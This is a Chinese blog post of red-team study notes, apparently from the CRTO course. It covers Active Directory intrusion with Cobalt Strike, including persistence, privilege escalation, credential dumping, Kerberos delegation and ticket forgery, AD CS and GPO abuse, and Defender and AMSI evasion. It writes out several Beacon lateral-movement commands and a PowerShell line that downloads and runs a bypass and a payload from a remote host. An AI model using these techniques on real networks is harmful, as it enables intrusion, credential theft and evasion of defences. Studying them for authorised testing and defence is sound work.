内网小总结

本篇基于crto内容总结

cs可以生成的listern有

还有个pivot listener只能在现有的信标上创建,且负载类型是beacon_reverse_tcp,而不是beacon_bind_tcp

可以利用dnscan.py收集子域名,spoofy用于验证给定域的电子邮件安全

密码喷射可以用mailsniper.ps1,利用namemash.py将获取一个人的全名并将其转换为可能的用户名排列

密码喷射后登入邮件系统,现在要发送钓鱼邮件获取其它用户权限

1.网络钓鱼宏注入2.远程模板注入3.html走私

钓鱼成功上线后cs上线

先进行主机观察:

1.ps看进程 

2.seatbelt               https://github.com/GhostPack/Seatbelt

以检查安全配置,例如操作系统信息、AV、AppLocker、LAPS、PowerShell 日志记录、审核策略、.NET 版本、防火墙规则等。

3.net logons观察登入用户

4.cs里的Screenshots 截图,Keylogger 键盘记录器,Clipboard 键盘记录

维持权限

普通用户

利用工具 SharPersist

一.创建一个计划任务   -t schtask参数

二.启动文件(用户启动文件夹中的应用程序、文件和快捷方式在用户首次登录时自动启动。它通常用于引导用户的家庭环境(设置壁纸、快捷方式等)  参数-t startupfolder

三.注册表自动运行 (HKCU 和 HKLM 中的 AutoRun 值允许应用程序在引导时启动。您通常会看到它们用于启动本机和第三方应用程序,例如软件更新程序、下载助手、驱动程序实用程序等。)参数-t reg

四.寻找com劫持

有两种

1.寻找废弃键

更安全的策略是查找尝试加载实际不存在的对象(所谓的“废弃”键)的应用程序实例,而不是劫持正在使用的 COM 对象并破坏依赖它们的应用程序(就是将这个注册表键指向我们的beacon.dll)

过程就是利用 Process Monitor (要找InprocServer32)先在本地计算机找废弃键,然后在受害机上劫持

2.寻找计划任务程序

寻找可劫持 COM 组件的另一个好地方是任务计划程序。许多默认 Windows 任务实际上使用自定义触发器来调用 COM 对象,而不是在磁盘上执行二进制文件。由于它们是通过任务计划程序执行的,因此更容易预测它们何时被触

可以用powershell脚本找找到只需在 HKCU 中添加一个指向我们的 DLL 的重复条目(如上所述),并且每次用户登录时都会加载一次。

system用户

一.自己创建windows服务

二.利用wmi

WMI允许管理员通过一种统一的接口访问系统资源,这些资源包括硬件、软件和操作系统配置。通过WMI,管理员可以编写脚本或应用程序来自动执行诸如获取系统信息、修改系统设置、监控性能等任务。

利用工具powerlurk

可以利用它创建一个新的wmi事件,在计算机启动时运行

权限提升

辅助工具

GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality.

一:为加引号的服务路径

满足两个条件

1.VulnService1 路径中包含空格且未加引号

2.如果我们可以将二进制文件放入任何这些路径中,该服务将在真正的路径之前执行它。当然,不能保证我们有权写入其中任何一个

就是一个服务的路径类似

VulnService1            C:\Program Files\Vulnerable Services\Service 1.exe

没有引号加空格就会把空格当作终结符

它将尝试执行以下操作(按顺序):

  1. C:\Program.exe

  2. C:\Program Files\Vulnerable.exe

  3. C:\Program Files\Vulnerable Services\Service.exe

二.弱服务权限(该路径)

可以看到所有经过身份验证的用户都对该服务具有 ChangeConfig、Start 和 Stop 权限。我们可以通过更改服务的二进制路径来滥用这些弱权限 - 因此我们可以让它运行类似 C:\Temp\payload.exe 的内容,而不是运行 C:\Program Files\Vulnerable Services\Service 2.exe

三.直接覆盖二进制文件

这与之前的漏洞略有不同,但弱权限不是针对服务,而是针对服务二进制文件本身。

四.UAC BYPASS

1.cs自带   elevate uac-schtasks tcp-local

GitHub - Cobalt-Strike/ElevateKit: The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload.

2.补充

  1. 各类的UAC白名单程序的DLL劫持
  2. 各类自动提升权限的COM接口利用(Elevated COM interface)
  3. Windows 自身漏洞提权
  4. 远程注入

BypassUAC原理及方法汇总-安全客 - 安全资讯平台 (anquanke.com)

获取凭证

利用mimikatz

获取sam(Security Account Manager),获取hash

dcsync(需要域控)

获取key

看有无cache

获取明文密码可以 make_token

TGT(用Rubeus)

域侦察

普通用户和system用户侦察的可能不一样

利用powerview

可以获取域名,域控,森林域,域信任(或许可以横向),获取域策略 ,获取域用户,获取域机器,所有组织单位 (OU) 或特定 OU 对象,域组,域组成员 ,所有组策略对象 (GPO) 或特定 GPO 对象,通过受限组或组策略首选项修改本地组成员身份的所有 GPO。然后,您可以手动查找这些 GPO 适用于哪些 OU,以及扩展哪些计算机,组策略被被哪些引用

sharpview

GitHub - tevora-threat/SharpView: C# implementation of harmj0y's PowerView

ADsearch

多用于ldap自定义轻量级目录访问协议 (LDAP)

用户模拟

pth

传递哈希是一种允许您使用用户密码的 NTLM 哈希对 Windows 服务进行身份验证的技术。它的工作原理是使用虚假身份启动新的登录会话,然后用提供的域、用户名和 NTLM 哈希替换会话信息。

cs自带的pth

ptt

许您将 Kerberos 票证添加到您有权访问的现有登录会话 (LUID) 或您创建的新登录会话中。然后,访问远程资源将允许通过 Kerberos 进行身份验证。

1.创建空白的“牺牲”登录会话,将 TGT 传递到其中

2.ptt将票据传递给这个会话

3.steal_token pid(新会话的pid)

利用hash请求票证

允许我们使用 NTLM 或 AES 哈希为用户请求 Kerberos TGT

然后利用ptt来利用

模拟令牌

如ps看到某进程的pid是5536是另外一个用户的

steal_token 5536

可以模拟该用户

存储令牌

token-store steal 5536

token-store use 0

制作票证

make _token

进程注入

进程注入允许我们将任意 shellcode 注入到我们选择的进程中。您只能注入那些您可以获得句柄并具有足够权限写入其内存的进程

Beacon 有两个主要的注入命令 - shinjectinject

beacon> inject 4464 x64 tcp-local

4464是目标PID。x64是进程的架构。tcp-local 是侦听器名称。

内网横向

jump [method] [target] [listener]

remote-exec [method] [target] [command

Windows Remote Management

WinRM64 是一个远程管理协议

winrmwinrm64 方法可根据需要用于 32 位和 64 位目标。

beacon> jump winrm64 web.dev.cyberbotic.io smb

psexec

psexec / psexec64 命令的工作原理是将服务二进制文件上传到目标系统,然后创建并启动 Windows 服务来执行该二进制文件。以这种方式执行的信标作为SYSTEM运行

beacon> jump psexec64 web.dev.cyberbotic.io smb

wmi

WMI 不是 jump 命令的一部分,而是 remote-exec 命令的一部分。 remote-exec 方法使用 WMI 的“进程调用创建”来执行我们在目标上指定的任何命令。最直接的使用方法是将有效负载上传到目标系统并使用 WMI 来执行它。

beacon> cd \\web.dev.cyberbotic.io\ADMIN$
beacon> upload C:\Payloads\smb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe

连接

beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

如果wmi被拒绝了

使用 SharpWMI工具

DCOM

Beacon 没有通过分布式组件对象模型 (DCOM) 进行交互的内置功能,因此我们必须使用 Invoke-DCOM 等外部工具。我们将在后面的模块中看到如何将其集成到 jump 命令中

Invoke-DCOM.ps1

内网穿透

socks代理

将我们的 C2 服务器转变为 SOCKS 代理,以通过隧道将外部工具引入内部网络。

socks使用Linux代理

工具proxychains

可以用nmap,gettgt.py(获得后本地导入票据可以横向)

socks使用windows代理

proxifier

要启用通过代理进行身份验证,需要以目标域中的用户身份启动应用程序。这可以使用 runas /netonly 或 Mimikatz 来实现。

这个可以用来登入heidisql

反向端口转发

 rportfwd

ntlm中继

在 NTLM 中继攻击中,攻击者能够拦截或捕获此身份验证流量,并有效地允许他们针对相同或其他服务冒充客户端。例如,客户端尝试连接到服务 A,但攻击者拦截身份验证流量并使用它来连接到服务 B,就好像他们是客户端一样

工具:Responder 和 ntlmrelayx

webdav

这些步骤是强制服务对我们控制的恶意 WebDAV 服务器进行身份验证,然后中继身份验证。这种攻击的一个好处是我们可以强制在任何端口上进行身份验证,因此我们不必担心需要 PortBender。

数据保护api

数据保护 API (DPAPI) 是 Windows 中内置的一个组件,它提供了一种加密和解密数据“blob”的方法。Windows 凭据管理器使用 DPAPI 来存储保存的机密(例如 RDP 凭据),并由 Google Chrome 等第三方应用程序使用来存储网站凭据。

Credential Manager

vaultcmd 工具。 Seatbelt.exe 可以检测

利用mimikatz解密

Scheduled Task Credentials 计划任务凭证

Kerberos

https://seevae.github.io/2020/09/12/%E8%AF%A6%E8%A7%A3kerberos%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B/

这个网站很全

Kerberoasting

Kerberoasting 是一种为在域帐户上下文中运行的服务请求 TGS 并离线破解它们以泄露其明文密码的技术

可以选择烘焙(有效的用户)

用Rebeuse

ASREP Roasting

如果用户没有启用 Kerberos 预身份验证,则可以为该用户请求 AS-REP,并且可以离线破解部分回复以恢复其明文密码

不受约束性委派

委派允许用户或计算机代表另一个用户执行另一个服务

无约束委派的一个有趣的方面是,无论用户正在访问哪个服务,它都会缓存用户的 TGT。因此,如果管理员访问使用 Kerberos 的计算机上的文件共享或任何其他服务,他们的 TGT 将被缓存

如果我们可以通过不受约束的委派来破坏一台机器,我们就可以从其内存中提取任何 TGT,并使用它们来针对域中的其他服务模拟用户

1.ADsearch可以找无约束委派的所有计算机。

2.如果它是无约束性委派,则们就可以从其内存中提取任何 TGT,ptt传递

3.如果没有票据,可以强制计算机帐户远程验证到该计算机(rubeuse的minitor和SharpSpoolTrigger。)

受约束性委派

它的目的是限制服务器可以代表用户执行的服务。它不再允许服务器缓存其他用户的TGT,但允许它使用自己的TGT为另一个用户请求TGS。

1.ADsearch可以寻找受限委派的计算机(msds-allowedtodelegateto 属性不为空的计算机)

2.dump受委派信任的主体(计算机或用户)的 TGT

3.执行s4u

S4U2Self 是 Kerberos 协议中的一种认证委派方式,它的全称是 "Service for User to Self"。它允许一个服务(service)代表用户(user)向 Kerberos 颁发机构(Kerberos Ticket Granting Ticket,TGT)请求一个服务票据(Service Ticket)。

需要一个服务代表用户向 Kerberos 颁发机构请求服务票据时,S4U2Self 就会被使用。

S4U2Proxy 是 Kerberos 协议中的一种认证委派方式,它的全称是 "Service for User to Proxy"。它允许一个服务(service)代表用户(user)向 Kerberos 颁发机构(Kerberos Ticket Granting Ticket,TGT)请求一个服务票据(Service Ticket),并将该服务票据进一步委派给另一个服务(proxy service)。

S4U2Self 允许服务代表用户获取自身的 TGS,S4U2Proxy 允许服务代表用户获取第二个服务的 TGS

替换服务

Rubeus 中使用 /altservice 标志来滥用它。在此示例中,我对 SQL-2 使用相同的 TGT 来请求 LDAP(而不是 CIFS)的 TGS。

基于资源约束性委派

允许在目标而不是源上设置委派配置

完成攻击的两个主要先决条件是:

1.您可以在其上修改 msDS-AllowedToActOnBehalfOfOtherIdentity 的目标计算机。

2.控制具有 SPN 的另一个主体。

攻击:

1.修改目标机器msDS-AllowedToActOnBehalfOfOtherIdentity(安全描述符)

2.执行s4u

创建假计算机

利用StandIn.exe,Rubeus hash 可以获取该密码并计算其哈希值。,利用asktgt可以获得票据

然后这就可以允许你在利用资源约束性委派时不用控制具有 SPN 的另一个主体。,直接用假计算机

影子凭证

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

PKI 是 "Public Key Infrastructure" 的缩写,即公钥基础设施,PKI 主要由以下几个组成部分构成:CA(证书颁发机构),RA...............

有证书信任模型

还有一种密钥信任模型,其中信任是基于原始密钥数据而不是证书建立的。这要求客户端将其密钥存储在自己的域对象上,名为 msDS-KeyCredentialLink 的属性中。 “影子凭证”攻击的基础是,如果您可以在用户或计算机对象上写入此属性,则可以获得该主体的 TGT。因此,与 RBCD 一样,这是一种 DACL 式的滥用。

DACL 是 "Discretionary Access Control List" 的缩写,即自主访问控制列表

1.利用Whisker.exe罗列键值

2.利用Whisker.exe添加键值(获得证书和密码)

3.rebeus请求tgt(用证书)

Kerberos Relay Attacks Kerberos 中继攻击(本地提权)

攻击者创建一个只能使用Kerberos进行身份验证,可以指定任意spn的rpc服务器,然后,他们强制特权 COM 服务器连接到其恶意 RPC 服务器,该服务器将执行身份验证并生成适当的 Kerberos 票证

这个攻击过程利用了RPC服务器的漏洞,欺骗了Kerberos认证系统,通过伪造的身份和票证,成功获取了对Active Directory中计算机对象的修改权限,从而实现了本地权限提升

利用(krbbrelay)

1.rbcd

2.影子凭证(可以不用添加假假计算机)

活动证书

证书模板配置错误

1.利用Certify.exe找模板配置错误证书

需要有注册权限才可以从此模板请求证书

2.此配置允许任何域用户为任何其他域用户(包括域管理员)请求证书并将其用于身份验证

证书格式.pem  利用openssl转换.pfx(包含私钥和证书链)

然后请求tgt

ntlm中继到adcs http端点

可以用于计算机持久(下载计算机存储的证书)

默认情况下,用户证书的有效期为一整年,无论密码如何更改

mimikatz可以导出

组策略

组策略对象 (GPO) 是应用于组织单位 (OU) 的配置集。默认情况下,只有域管理员可以创建 GPO 并将其链接到 OU,但通常的做法是将这些权限委托给其他团队。此委派通常分配给域组 - 例如,“工作站管理员”组可能有权管理应用于“工作站”OU 的 GPO。这些可以通过允许用户将恶意 GPO 应用到域管理员用户或其计算机来创造权限升级机会

修改现有gpo

1.利用powershell寻找谁可以修改哪个gpo

2.看一下gpo适用与哪个ou,获取ou的计算机

们可以直接在SYSVOL(gpcFileSysPath)中修改关联文件

使用计算机启动脚本的示例。它将在 SYSVOL 中放置一个启动脚本,每次受影响的计算机启动时都会执行该脚本(顺便说一句,这也充当了良好的持久性机制)。

利用SharpGPOAbuse.exe

创建并链接gpo

1.找具有创建 gpo的 组成员

2.可以链接到ou的组

3.创建新组策略,并添加到组策略

4.gpo应用到组ou

mssql

PowerUpSQL 和 SQLRecon 是用于枚举 MS SQL Server 并与 MS SQL Server 交互的优秀工具。

mssqlclient(proxychains)

或者Windows SQL GUI,例如通过 Proxifier 的 HeidiSQL

1.查找mysql管理员

可以寻找适当名称的域组及其成员

这个命令的目的是列出域中所有名称包含 "SQL" 的组,并列出这些组中的成员

另一种选择是使用 MS SQL 服务帐户本身,因为它通常也被授予系统管理员权限(利用 kerberoast

wintoken利用现有token用于SQLRecon枚举

mssql模拟

前提

DEV\Domain Users 已被授予模拟 DEV\mssql_svc 帐户的能力

可以用

EXECUTE AS 在目标上下文中执行查询。

sQLRecon 模块还可以在“模拟模式”下运行,方法是在模块名称前添加 i

mssql命令执行

前提

1.sysadmin权限

2. xp_cmdshell开启(先查状态,禁用需要启动)

SQLRecon 还有一个用于与 xp_cmdshell 配置交互的模块,该模块也可以与模拟模块结合使用

输入反弹shell命令

mssql横向移动(横向到链接sql)

SQLRecon可以查链接

OpenQuery在链接服务器上使用 xp_cmdshell 执行反弹shell

mssql权限提升(sweetpotato)

SweetPotato.exe工具

Microsoft Configuration Manager 微软配置管理器

SCCM 的作用是帮助完成系统管理任务,例如应用程序和软件部署、更新以及合规性配置和报告。

在 Windows 环境中,大多数计算机将加入域,因此将使用自己的计算机帐户凭据向 SCCM 软件分发点 (SDP)(基本上只是 SMB 共享)进行身份验证。但是,某些计算机可能未加入域。网络访问帐户凭据 (NAA) 是这些计算机用于通过网络访问 SDP 的域凭据。它们作为 SCCM 计算机策略的一部分传递到计算机,然后使用 DPAPI 进行加密并存储在本地。如果它们存在,特权用户可以通过 WMI 或直接从磁盘检索这些凭据 blob,并对它们进行解密以恢复纯文本凭据

可以横向利用SharpSCCM.exe

Domain Dominance(领域主导地位)

银票

“银票”是伪造的服务票

您可以为任何用户伪造该机器上任何服务的 TGS

计算机密码每 30 天更改一次,此时您必须重新获取新密码才能继续制作银票

可以用rubeus

前提:1.Kerberos keys(des_cbc_md4)

2.机器sid

金票

“金票”是伪造的 TGT,由域的 krbtgt 帐户签名。它可用于冒充任何用户,银票仅限于该单一服务或单一计算机上的任何服务但是黄金票证金票允许攻击者获得域中任何服务的访问权限,甚至可以伪装成任何用户,而不需要知道其密码

前提:

1.域管:dcsync可以获取krbtgt账户的aes256 key

2.sid

钻石票据

检测黄金票证使用情况的一种可能策略是查找没有相应 AS-REQ 的 TGS-REQ。 “钻石票”是通过修改 DC 发行的合法 TGT 的字段来制作的。这是通过请求 TGT、使用域的 krbtgt 哈希对其进行解密、修改票证的所需字段,然后重新加密来实现的。这克服了前面提到的黄金票证的缺点,因为任何 TGS-REQ 都会有一个前面的 AS-REQ

前提

伪造证书(提权和维持)

在较大的组织中,AD CS 角色安装在单独的服务器上,而不是安装在域控制器本身上

因此虽然只有 EA 和 DA 可以访问/管理 DC,但server admins 等“较低级别”角色可以访问 CA。

Enterprise Administrators (EAs)**:Domain Administrators (DAs):

前提:1.提取 CA 私钥该私钥可用于签署伪造的证书(SharpDPAPI)

ForgeCert.exe用于伪造证书

森林和域信任

Parent/Child(双向)

如果我们在子级中拥有域管理权限,那么我们还可以使用具有称为SID 历史记录的特殊属性的 TGT 在父级中获得域管理权限。 SID 历史记录旨在支持迁移场景,即用户从一个域移动到另一个域

可以用金票和砖石票(唯一需要的附加信息是父域中目标组的 SID。)

还可以跨域信任进行 kerberoast ASREProast,这可能会导致特权凭据泄露

One-Way Inbound

信任是入站的(就是你信任我),这意味着我们域中的主体可以被授予对外部域中资源的访问权限。我们可以枚举跨信任的外部域

我们可以枚举跨信任的外部域

1.枚举看下一个域的管理员组里有没有不是改域的用户,可能是我们域的用户

2.在我们域找到改用户制作域间票据

One-Way Outbound

我们信任别的域

利用信任的共享凭证来获得从 CYBER 到 MSP 的“域用户”访问权限。

信任关系中的两个域都在受信任域对象 (TDO) 中存储共享密码(每 30 天自动更改一次)

利用dcsync和tdo联合获取新旧密码(用rc4的)

然后找到我们信任域的信任帐户(CYBER$ )制作域间票据

本地管理员密码解决方案(LAPS)

LAPS 是一种 Microsoft 解决方案,用于管理每台计算机上的本地管理员帐户(默认 RID 500 或自定义帐户)的凭据。它确保每个帐户的密码都是不同的、随机的,并且按照定义的时间表自动更改。可以委派请求和重置凭证的权限,这也是可审计的

Reading ms-Mcs-AdmPwd(获取密码)

1.先找谁可以读取ms-Mcs-AdmPwd(LAPSToolkit 等专用工具)

2.可以利用 powershell Get-DomainComputer读取(poerview)

Password Expiration Protection(密码过期保护,持久性)

就是可以设置密码保护的时间(就是自动重置的时间改到很久以后)

LAPS后门(如何留取后门获取长期密码)

这块就不总结的,

绕过defender antivirus

导入artifact kit 套件

先./build.sh重建

然后用ThreatCheck 等工具 分析,找到对应的恶意二进制代码

用IDA 和 Ghidra 等逆向工具分析,导航到具体代码位置,然后更改一下(比如加密,加随机数什么的)

可以psexec64横向了

导入resource kit套件

过AMSI

可以横向(Smb)

远程下载web托管

一种常见的混乱来源是使用脚本化 Web 交付方法托管 PowerShell 有效负载时,因为当无阶段 PowerShell 有效负载不捕获时,这些负载通常会被捕获。

使用host file搭建就可以; 

AMSI 与后利用

在prifile内添加

post-ex {
        set amsi_disable "true";
}

手动绕过

PS C:\Users\bfarmer> iex (new-object net.webclient).downloadstring("http://nickelviper.com/bypass"); iex (new-object net.webclient).downloadstring("http://nickelviper.com/a")

bypass是绕过脚本托管在cs上

行为检测

改rundll为dllhost

beacon> spawnto x64 %windir%\sysnative\dllhost.exe
beacon> spawnto x86 %windir%\syswow64\dllhost.exe

  • 11
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值